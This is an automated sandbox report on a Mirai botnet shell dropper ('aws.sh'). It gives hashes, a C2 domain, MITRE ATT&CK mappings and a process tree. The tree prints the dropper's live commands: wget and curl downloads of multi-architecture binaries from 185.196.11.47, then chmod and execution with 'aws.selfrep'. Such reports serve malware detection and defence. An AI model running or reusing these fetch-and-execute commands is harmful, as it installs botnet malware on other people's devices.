mirai | 35771aed636c9569a032b350699efe36770c811b09fd9d9fbd77f03f8dd8ad36

Analysis

max time kernel
19s
max time network
47s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
17/12/2024, 15:11

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General

Target

aws.sh
Size

2KB
MD5

536445c4ec7cf56d25298e365dbc8bcd
SHA1

c37bc7a74033a94b3cd0a6d5c53045c156882aae
SHA256

35771aed636c9569a032b350699efe36770c811b09fd9d9fbd77f03f8dd8ad36
SHA512

42d3911a2a0b9ba4dee80dd08f2d8c491e5b77e90cb7185e30a717c028243c5df9f0879ee22dfb4629e62c9d7da9e21a01f86613bdd74f65f9d6c76b1ccbfdd3

Score

10^/10

mirai unstable antivm botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

servers.vlrt-gap.com

Extracted

Family

mirai

Botnet

UNSTABLE

Extracted

Family

mirai

Botnet

UNSTABLE

servers.vlrt-gap.com

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
801	chmod
807	chmod
668	chmod
700	chmod
749	chmod
770	chmod
795	chmod
678	chmod
720	chmod
740	chmod
787	chmod

Deletes itself 2 IoCs

pid	Process
721	WTH
771	WTH

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/WTH	669	WTH
/tmp/WTH	680	WTH
/tmp/WTH	701	WTH
/tmp/WTH	721	WTH
/tmp/WTH	741	WTH
/tmp/WTH	750	WTH
/tmp/WTH	771	WTH
/tmp/WTH	788	WTH
/tmp/WTH	796	WTH
/tmp/WTH	802	WTH
/tmp/WTH	808	WTH

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTH
File opened for modification	/dev/misc/watchdog	WTH
File opened for modification	/dev/watchdog	WTH
File opened for modification	/dev/misc/watchdog	WTH

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	WTH

Writes file to system bin folder 4 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTH
File opened for modification	/bin/watchdog	WTH
File opened for modification	/sbin/watchdog	WTH
File opened for modification	/bin/watchdog	WTH

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	rcci	721	WTH
Changes the process name, possibly in an attempt to hide itself	du86hgdpm6leahl5	771	WTH

Checks CPU configuration 1 TTPs 11 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	WTH

Reads runtime system information 22 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
673	wget
674	curl
677	cat

Writes file to tmp directory 22 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/zmap.mips	wget
File opened for modification	/tmp/zmap.m68k	wget
File opened for modification	/tmp/zmap.spc	curl
File opened for modification	/tmp/WTH	aws.sh
File opened for modification	/tmp/zmap.arm5	wget
File opened for modification	/tmp/zmap.arm6	curl
File opened for modification	/tmp/zmap.ppc	curl
File opened for modification	/tmp/zmap.spc	wget
File opened for modification	/tmp/zmap.arm7	curl
File opened for modification	/tmp/zmap.ppc	wget
File opened for modification	/tmp/zmap.m68k	curl
File opened for modification	/tmp/zmap.mpsl	wget
File opened for modification	/tmp/zmap.mpsl	curl
File opened for modification	/tmp/zmap.arm	wget
File opened for modification	/tmp/zmap.arm6	wget
File opened for modification	/tmp/zmap.arm7	wget
File opened for modification	/tmp/zmap.i686	curl
File opened for modification	/tmp/zmap.x86	wget
File opened for modification	/tmp/zmap.x86	curl
File opened for modification	/tmp/zmap.mips	curl
File opened for modification	/tmp/zmap.arm	curl
File opened for modification	/tmp/zmap.arm5	curl

/tmp/aws.sh
/tmp/aws.sh
1⤵
- Writes file to tmp directory
PID:636
- /usr/bin/wget
  wget http://185.196.11.47/zmap.x86
  2⤵
  - Writes file to tmp directory
  PID:638
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:657
- /bin/cat
  cat zmap.x86
  2⤵
  PID:667
- /bin/chmod
  chmod +x aws.sh systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-gHGink WTH zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:668
- /tmp/WTH
  ./WTH aws.selfrep
  2⤵
  - Executes dropped EXE
  PID:669
- /usr/bin/wget
  wget http://185.196.11.47/zmap.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:673
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:674
- /bin/cat
  cat zmap.mips
  2⤵
  - System Network Configuration Discovery
  PID:677
- /bin/chmod
  chmod +x aws.sh systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-gHGink WTH zmap.mips zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/WTH
  ./WTH aws.selfrep
  2⤵
  - Executes dropped EXE
  PID:680
- /usr/bin/wget
  wget http://185.196.11.47/zmap.mpsl
  2⤵
  - Writes file to tmp directory
  PID:683
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:690
- /bin/cat
  cat zmap.mpsl
  2⤵
  PID:698
- /bin/chmod
  chmod +x aws.sh systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-gHGink WTH zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/WTH
  ./WTH aws.selfrep
  2⤵
  - Executes dropped EXE
  PID:701
- /usr/bin/wget
  wget http://185.196.11.47/zmap.arm
  2⤵
  - Writes file to tmp directory
  PID:703
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:710
- /bin/cat
  cat zmap.arm
  2⤵
  PID:718
- /bin/chmod
  chmod +x aws.sh systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-gHGink WTH zmap.arm zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:720
- /tmp/WTH
  ./WTH aws.selfrep
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  PID:721
- /usr/bin/wget
  wget http://185.196.11.47/zmap.arm5
  2⤵
  - Writes file to tmp directory
  PID:723
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:734
- /bin/cat
  cat zmap.arm5
  2⤵
  PID:739
- /bin/chmod
  chmod +x aws.sh systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-gHGink WTH zmap.arm zmap.arm5 zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/WTH
  ./WTH aws.selfrep
  2⤵
  - Executes dropped EXE
  PID:741
- /usr/bin/wget
  wget http://185.196.11.47/zmap.arm6
  2⤵
  - Writes file to tmp directory
  PID:742
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/cat
  cat zmap.arm6
  2⤵
  PID:747
- /bin/chmod
  chmod +x aws.sh systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-gHGink WTH zmap.arm zmap.arm5 zmap.arm6 zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/WTH
  ./WTH aws.selfrep
  2⤵
  - Executes dropped EXE
  PID:750
- /usr/bin/wget
  wget http://185.196.11.47/zmap.arm7
  2⤵
  - Writes file to tmp directory
  PID:751
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:760
- /bin/cat
  cat zmap.arm7
  2⤵
  PID:769
- /bin/chmod
  chmod +x aws.sh systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-gHGink WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/WTH
  ./WTH aws.selfrep
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:771
- /usr/bin/wget
  wget http://185.196.11.47/zmap.ppc
  2⤵
  - Writes file to tmp directory
  PID:783
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/cat
  cat zmap.ppc
  2⤵
  PID:786
- /bin/chmod
  chmod +x aws.sh systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-gHGink WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.ppc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/WTH
  ./WTH aws.selfrep
  2⤵
  - Executes dropped EXE
  PID:788
- /usr/bin/wget
  wget http://185.196.11.47/zmap.m68k
  2⤵
  - Writes file to tmp directory
  PID:790
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/cat
  cat zmap.m68k
  2⤵
  PID:794
- /bin/chmod
  chmod +x aws.sh systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-gHGink WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/WTH
  ./WTH aws.selfrep
  2⤵
  - Executes dropped EXE
  PID:796
- /usr/bin/wget
  wget http://185.196.11.47/zmap.spc
  2⤵
  - Writes file to tmp directory
  PID:798
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:799
- /bin/cat
  cat zmap.spc
  2⤵
  PID:800
- /bin/chmod
  chmod +x aws.sh systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-gHGink WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/WTH
  ./WTH aws.selfrep
  2⤵
  - Executes dropped EXE
  PID:802
- /usr/bin/wget
  wget http://185.196.11.47/zmap.i686
  2⤵
  PID:804
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/cat
  cat zmap.i686
  2⤵
  PID:806
- /bin/chmod
  chmod +x aws.sh systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-gHGink WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/WTH
  ./WTH aws.selfrep
  2⤵
  - Executes dropped EXE
  PID:808
- /usr/bin/wget
  wget http://185.196.11.47/zmap.sh4
  2⤵
  PID:809

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/WTH

Filesize
94KB

MD5
8ae4ac18a3b34fba963f59a42ff02fb7

SHA1
e9f75cf21972b2c953163d64d3cb89bd6a93cc1b

SHA256
c485a846f4b7c5d410762291758175ca0775ca919da52ef05047f3000045020a

SHA512
af6a9fb41fc94fdb3c1448e2477190f403b14eca2502e93c1ab6a1c8cf0eaada47dedd81df94f15bc6efa8ae29d68f3a6368c67283514c88f3f8e28519bf6bb0

Download Submit
/tmp/WTH

Filesize
94KB

MD5
d81e9564b8b9d62d70bda936d927d875

SHA1
42706a08b0545984ed5a5cfbdff3fe2ab62ca552

SHA256
c14fead55aee69ec760fdba5f5371922595ad9df3c7201feb088f322043def0d

SHA512
282a8641c62e67b1bde30e1bfbd991493c38155b6dfdb5406a80d69b7b710bfe27fdbe5571363c3f55e2fbb0a447db3789c5609493e24daef3260c2d87417886

Download Submit
/tmp/WTH

Filesize
74KB

MD5
9784e8db8dae548a6593644e3a168579

SHA1
afa7c4ce4b0122ec5f22dc37aa7658f41cb01008

SHA256
4278fcf8ef5692822cc5eccce4857b5132f8d029949b83925a7a1e6f5c969129

SHA512
7f48ae6e910f87f70995c6373083c534670e2f66310e51e8a0b43bc01a31327e33a992b3ad50bc4956e4c9fb3c0845e6ca6aca2dbb014e66487a8338efe2eb6c

Download Submit
/tmp/WTH

Filesize
49KB

MD5
241482e2337afd65af97770b37d5c90d

SHA1
c52137309238b4f1badf1e7bf01197bc48cd00fc

SHA256
01d39c861837c2f70e59a1e0af94249269813cfa8dc2696d095d36db84fcf7ca

SHA512
cf3fbd84e7664d26a5cdbec8fb195d28438aca00c62b3428fd6d4c4ab7cb781d5816afa6eb046def918efc73059192683ba313c06fec2231cc6cff8610d29a00

Download Submit
/tmp/WTH

Filesize
152KB

MD5
34fdc98112f2d873a177a9caa899a58a

SHA1
2a616b059f1974324ed0fce29338c0a80a6d45d8

SHA256
25e38cbfa8ffede95643c913e64493dbcb3d84190916bd0926dfb8ac4e119074

SHA512
8f07bf8173303b20ecb246cf9f61e1267d77cad740510ace5214f1433ccd02ee32772267ee967a476d74230b3f6d69352d475b5fd5f0423327196302394ad0ea

Download Submit
/tmp/zmap.x86

Filesize
61KB

MD5
d1f752879420a6d45d76f130281392d6

SHA1
46a92c0efae33b8a826dc48daa3dbf3d30be4a15

SHA256
4fc42ee2d91d577e0bcc49c27d5f3936584ad49c27b5032baa57a6c6e53b4914

SHA512
91e7beb1157bf75f4e73459eb2ab003005aa591848698451ee6dc79764570bf2d8a253c25dda6346b657367844048cd21be38b6485d169e373e8455b2d586225

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads